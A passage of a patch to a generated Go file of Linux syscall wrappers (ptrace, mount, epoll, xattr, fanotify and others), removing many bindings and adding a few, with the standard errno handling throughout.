-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -960,15 +24,8 @@ func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -988,120 +45,14 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1111,82 +62,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
